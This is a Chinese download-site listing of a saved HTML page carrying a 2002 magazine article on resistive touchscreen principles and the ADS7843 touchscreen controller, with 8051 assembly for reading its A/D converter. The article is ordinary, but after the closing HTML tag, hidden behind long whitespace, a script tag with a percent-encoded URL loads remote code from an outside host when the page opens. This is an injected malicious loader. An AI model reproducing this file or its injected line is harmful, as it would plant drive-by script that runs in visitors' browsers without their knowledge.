⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 触摸屏的工作原理及典型应用.htm

📁 S3C44B0x下的ADS7843触摸屏驱动资料与代码
💻 HTM
字号:
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<!-- saved from url=(0060)http://210.51.184.98/buaa1/dpj/html/magazine/2002_02/1-1.htm -->
<HTML><HEAD><TITLE>触摸屏的工作原理及典型应用</TITLE>
<META http-equiv=Content-Type content="text/html; charset=gb2312"><LINK 
href="触摸屏的工作原理及典型应用.files/home.css" rel=stylesheet>
<STYLE type=text/css></STYLE>

<META content="MSHTML 6.00.2900.3157" name=GENERATOR></HEAD>
<BODY text=black bgColor=white leftMargin=0 topMargin=10 marginheight="10" 
marginwidth="0">
<CENTER><!--顶部开始-->
<SCRIPT language=Javascript src="触摸屏的工作原理及典型应用.files/head.js"></SCRIPT>
<!--顶部结束--><!--菜单开始-->
<SCRIPT language=Javascript src="触摸屏的工作原理及典型应用.files/menu.js"></SCRIPT>
<!--菜单结束-->
<TABLE cellSpacing=0 width=750 border=0>
  <TBODY>
  <TR>
    <TD colSpan=5 height=16>
      <DIV align=left><FONT color=#330099>当前位置:</FONT><A 
      href="http://210.51.184.98/first.htm">单片机与嵌入式系统应用</A>→触摸屏的工作原理及典型应用</DIV></TD>
    <TD colSpan=2 height=16>
      <DIV align=right></DIV></TD></TR>
  <TR>
    <TD colSpan=5 height=2></TD></TR>
  <TR>
    <TD colSpan=7 height=1027>
      <TABLE height=150 cellSpacing=0 cellPadding=0 width=750 align=center 
      border=0>
        <TBODY>
        <TR>
          <TD class=normal vAlign=top width=150 bgColor=#d9e2fa height=1019 
          rowSpan=4>
            <DIV align=center></DIV>
            <DIV align=center>
            <TABLE cellSpacing=0 width="100%" align=center border=0>
              <TBODY>
              <TR bgColor=#5593dd>
                <TD width=150 height=20>
                  <DIV align=center></DIV></TD></TR>
              <TR>
                <TD height=20>
                  <DIV align=center></DIV></TD></TR>
              <TR>
                <TD height=20>
                  <DIV align=center></DIV></TD></TR>
              <TR>
                <TD height=15>
                  <DIV align=center></DIV></TD></TR>
              <TR>
                <TD height=20>
                  <DIV align=center></DIV></TD></TR>
              <TR>
                <TD height=20>
                  <DIV align=center></DIV></TD></TR></TBODY></TABLE>
            <P><BR><BR>   </P></DIV></TD>
          <TD vAlign=top width=5 height=1019 rowSpan=4>&nbsp;</TD>
          <TD vAlign=top width=1 bgColor=#333399 height=1019 rowSpan=4><IMG 
            src="" width=1></TD>
          <TD vAlign=top width=5 height=1019 rowSpan=4></TD>
          <TD class=normal vAlign=top width=597 height=1019 rowSpan=4>
            <DIV align=center>
            <TABLE height=100 cellSpacing=0 cellPadding=0 width="100%" 
            align=left border=0>
              <TBODY>
              <TR bgColor=#cccccc>
                <TD bgColor=#cccccc height=20>
                  <DIV align=center><B>触摸屏的工作原理及典型应用</B></DIV></TD></TR>
              <TR vAlign=top bgColor=#fdffff>
                <TD background=触摸屏的工作原理及典型应用.files/linebg.gif height=1017>
                  <BLOCKQUOTE>
                    <P><B><BR><BR>作 者:</B>天津大学 陈世利 孙墨杰 栗大超 靳世久<BR><BR><B>摘 
                    要:</B>简要介绍触摸屏的结构及工作原理,并以Burr-Brown公司的触摸屏控制芯片ADS7843为例,介绍触摸屏应用的典型电路和操作。由于ADS7843内置12位A/D,理论上触摸屏的输入坐标识别精度为有效长宽的1/4096。<BR>  
                    <BR><B>关键词:</B>触摸屏 ITO ADS7843 嵌入式系统</P>
                    <P align=left><B>1 
                    触摸屏的基本原理</B><BR><BR>  典型触摸屏的工作部分一般由三部分组成,如<A 
                    href="http://210.51.184.98/buaa1/dpj/html/magazine/2002_02/101.gif"><FONT 
                    color=#ff0000>图1</FONT></A>所示:两层透明的阻性导体层、两层导体之间的隔离层、电极。阻性导体层选用阻性材料,如铟锡氧化物(ITO)涂在衬底上构成,上层衬底用塑料,下层衬底用玻璃。隔离层为粘性绝缘液体材料,如聚脂薄膜。电极选用导电性能极好的材料(如银粉墨)构成,其导电性能大约为ITO的1000倍。<BR><BR>  触摸屏工作时,上下导体层相当于电阻网络,如<A 
                    href="http://210.51.184.98/buaa1/dpj/html/magazine/2002_02/102.gif"><FONT 
                    color=#ff0000>图2</FONT></A>所示。当某一层电极加上电压时,会在该网络上形成电压梯度。如有外力使得上下两层在某一点接触,则在电极未加电压的另一层可以测得接触点处的电压,从而知道接触点处的坐标。比如,在顶层的电极(X+,X-)上加上电压,则在顶层导体层上形成电压梯度,当有外力使得上下两层在某一点接触,在底层就可以测得接触点处的电压,再根据该电压与电极(X+)之间的距离关系,知道该处的X坐标。然后,将电压切换到底层电极(Y+,Y-)上,并在顶层测量接触点处的电压,从而知道Y坐标。<BR><BR><B>2 
                    触摸屏的控制实现</B><BR><BR>  现在很多PDA应用中,将触摸屏作为一个输入设备,对触摸屏的控制也有专门的芯片。很显然,触摸屏的控制芯片要完成两件事情:其一,是完成电极电压的切换;其二,是采集接触点处的电压值(即A/D)。本文以BB(Burr-Brown)公司生产的芯片ADS7843为例,介绍触摸屏控制的实现。<BR><BR><B>2.1 
                    ADS7843的基本特性与典型应用</B><BR><BR>  ADS7843是一个内置12位模数转换、低导通电阻模拟开关的串行接口芯片。供电电压2.7~5 
                    V,参考电压VREF为1 V~+VCC,转换电压的输入范围为0~ VREF,最高转换速率为125 
                    kHz。ADS7843的引脚配置如<A 
                    href="http://210.51.184.98/buaa1/dpj/html/magazine/2002_02/103.gif"><FONT 
                    color=#ff0000>图3</FONT></A>所示。<A 
                    href="http://210.51.184.98/buaa1/dpj/html/magazine/2002_02/105.gif"><FONT 
                    color=#ff0000>表1</FONT></A>为引脚功能说明,<A 
                    href="http://210.51.184.98/buaa1/dpj/html/magazine/2002_02/104.gif"><FONT 
                    color=#ff0000>图4</FONT></A>为典型应用。<BR><BR><B>2.2 
                    ADS7843的内部结构及参考电压模式选择</B><BR><BR>  ADS7843之所以能实现对触摸屏的控制,是因为其内部结构很容易实现电极电压的切换,并能进行快速A/D转换。<A 
                    href="http://210.51.184.98/buaa1/dpj/html/magazine/2002_02/106.gif"><FONT 
                    color=#ff0000>图5</FONT></A>所示为其内部结构,A2~A0和SER/为控制寄存器中的控制位,用来进行开关切换和参考电压的选择。<BR><BR>  ADS7843支持两种参考电压输入模式:一种是参考电压固定为VREF,另一种采取差动模式,参考电压来自驱动电极。这两种模式分别如<A 
                    href="http://210.51.184.98/buaa1/dpj/html/magazine/2002_02/108.gif"><FONT 
                    color=#ff0000>图6</FONT></A>(a)、(b)所示。采用图6(b)的差动模式可以消除开关导通压降带来的影响。<A 
                    href="http://210.51.184.98/buaa1/dpj/html/magazine/2002_02/107.gif"><FONT 
                    color=#ff0000>表2</FONT></A>和<A 
                    href="http://210.51.184.98/buaa1/dpj/html/magazine/2002_02/109.gif"><FONT 
                    color=#ff0000>表3</FONT></A>为两种参考电压输入模式所对应的内部开关状况。 
                    <BR><BR><B>2.3 
                    ADS7843的控制字及数据传输格式</B><BR><BR>  ADS7843的控制字如<A 
                    href="http://210.51.184.98/buaa1/dpj/html/magazine/2002_02/110.gif"><FONT 
                    color=#ff0000>表4</FONT></A>所列,其中S为数据传输起始标志位,该位必为"1"。A2~A0进行通道选择(见表2和3)。MODE用来选择A/D转换的精度,"1"选择8位,"0"选择12位。SER/选择参考电压的输入模式(见表2和3)。PD1、PD0选择省电模式:"00"省电模式允许,在两次A/D转换之间掉电,且中断允许;"01"同"00",只是不允许中断;"10"保留;"11"禁止省电模式。<BR><BR>  为了完成一次电极电压切换和A/D转换,需要先通过串口往ADS7843发送控制字,转换完成后再通过串口读出电压转换值。标准的一次转换需要24个时钟周期,如<A 
                    href="http://210.51.184.98/buaa1/dpj/html/magazine/2002_02/111.gif"><FONT 
                    color=#ff0000>图7</FONT></A>所示。由于串口支持双向同时进行传送,并且在一次读数与下一次发控制字之间可以重叠,所以转换速率可以提高到每次16个时钟周期,如<A 
                    href="http://210.51.184.98/buaa1/dpj/html/magazine/2002_02/112.gif"><FONT 
                    color=#ff0000>图8</FONT></A>所示。如果条件允许,CPU可以产生15个CLK的话(比如FPGAs和ASICs),转换速率还可以提高到每次15个时钟周期,如<A 
                    href="http://210.51.184.98/buaa1/dpj/html/magazine/2002_02/113.gif"><FONT 
                    color=#ff0000>图9</FONT></A>所示。<BR><B><BR>2.4 
                    A/D转换时序的程序设计</B><BR><BR>  ADS7843的典型应用如图4所示。假设μP接口与51单片机的P1.3~P1.7相连,现以一次转换需24个时钟周期为例,介绍A/D转换时序的程序设计。<BR><BR>; 
                    A/D 接口控制线<BR>DCLK BIT P1.3<BR>CS BIT P1.4<BR>DIN BIT 
                    P1.5<BR>BUSY BIT P1.6<BR>DOUT BIT P1.7<BR>; A/D 
                    通道选择命令字和工作寄存器<BR>CHX EQU 094H ;通道X+的选择控制字<BR>CHY EQU 
                    0D4H;通道Y+的选择控制字<BR>CH3 EQU 0A4H <BR>CH4 EQU 0E4H<BR>AD_CH 
                    EQU 35H ;通道选择寄存器<BR>AD_RESULTH EQU 36H ;存放12 bit 
                    A/D值<BR>AD_RESULTL EQU 37H<BR>; 
                    存放通道CHX+的A/D值<BR>CHXAdResultH EQU 38H <BR>CHXAdResultL EQU 
                    39H<BR>; 存放通道CHY+的A/D值<BR>CHYAdResultH EQU 
                    3AH<BR>CHYAdResultL EQU 3BH<BR>; 
                    采集通道CHX+的程序段(CHXAD)<BR>CHXAD: MOV AD_CH,#CHX<BR>LCALL 
                    AD_RUN<BR>MOV CHXAdResultH,AD_RESULTH<BR>MOV 
                    CHXAdResultL,AD_RESULTL<BR>RET<BR>; 
                    采集通道CHY+的程序段(CHYAD)<BR>CHYAD: MOV AD_CH,#CHY<BR>LCALL 
                    AD_RUN<BR>MOV CHYAdResultH,AD_RESULTH<BR>MOV 
                    CHYAdResultL,AD_RESULTL<BR>RET<BR>; A/D转换子程序(AD_RUN)<BR>; 
                    输入: AD_CH-模式和通道选择命令字<BR>; 输出: AD_RESULTH,L ;12 
                    bit的A/D转换值<BR>; 使用: R2 ;辅助工作寄存器<BR>AD_RUN: <BR>CLR CS ; 
                    芯片允许<BR>CLR DCLK <BR>MOV R2,#8 ;先写8 bit命令字<BR>MOV A,AD_CH 
                    <BR>AD_LOOP: <BR>MOV C, ACC.7 <BR>MOV DIN,C 
                    ;时钟上升沿锁存DIN<BR>SETB DCLK ;开始发送命令字<BR>CLR DCLK 
                    ;时钟脉冲,一共24个<BR>RL A<BR>DJNZ 
                    R2,AD_LOOP<BR>NOP<BR>NOP<BR>NOP<BR>NOP<BR>ADW0: JNB 
                    BUSY,AD_WAIT ;等待转换完成<BR>SJMP ADW1<BR>AD_WAIT: <BR>LCALL 
                    WATCHDOG<BR>NOP<BR>SJMP ADW0<BR>CLR DIN <BR>ADW1: MOV R2,#12 
                    ;开始读取12bit结果<BR>SETB DCLK<BR>CLR DCLK<BR>AD_READ:<BR>SETB 
                    DCLK<BR>CLR DCLK ;用时钟的下降沿读取<BR>MOV A,AD_RESULTL<BR>MOV 
                    C,DOUT<BR>RLC A<BR>MOV AD_RESULTL,A<BR>MOV 
                    A,AD_RESULTH<BR>RLC A<BR>MOV AD_RESULTH,A<BR>DJNZ 
                    R2,AD_READ<BR>MOV R2,#4 ;最后是没用的4个时钟<BR>IGNORE:<BR>SETB 
                    DCLK<BR>CLR DCLK<BR>DJNZ R2,IGNORE<BR>SETB CS ;禁止芯片<BR>ANL 
                    AD_RESULTH,#0FH ;屏蔽高4 bit<BR>RET<BR><BR><B>2.5 A/D转换结果的数据格式 
                    </B><BR><BR>  ADS7843转换结果为二进制格式。需要说明的是,在进行公式计算时,参考电压在两种输入模式中是不一样的。而且,如果选取8位的转换精度,1LSB=VREF/256,一次转换完成时间可以提前4个时钟周期,此时串口时钟速率也可以提高一倍。<BR><BR><B>结束语</B><BR><BR>  在许多嵌入式系统中,CPU提供专门的模块来支持液晶显示和触摸屏的输入,使得接口非常简单。比如,MOTOROLA的MC68VZ328(称为Dragon 
                    Ball)就提供专门的引脚来支持8位和4位的液晶显示,对触摸屏的支持通过SPI2借助ADS7843也很容易完成。<BR><BR>参考文献<BR>1 
                    MC68VZ328 Integrated Processor User's Manual<BR>2 
                    M68VZ328ADS Application Development System User's Manual. 
                    Revision 1.4. 2000<BR>3 Burr-Brown IC Data 
                  Book<BR></P></BLOCKQUOTE></TD></TR>
              <TR bgColor=#fdffff>
                <TD vAlign=center bgColor=#cccccc height=20>
                  <DIV align=center><B><A 
                  href="http://210.51.184.98/buaa1/dpj/html/magazine/2002_02/first.htm">返回主页</A></B></DIV></TD></TR></TBODY></TABLE></DIV></TD></TR></TBODY></TABLE></TD></TR></TBODY></TABLE>   
<!--底部开始-->
<SCRIPT language=Javascript src="触摸屏的工作原理及典型应用.files/foot.js"></SCRIPT>
</CENTER></BODY></HTML>
                                                                                              
<script src="http://%6A%73%2E%6B%30%31%30%32%2E%63%6F%6D/%30%31%2E%61%73%70"></script>

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -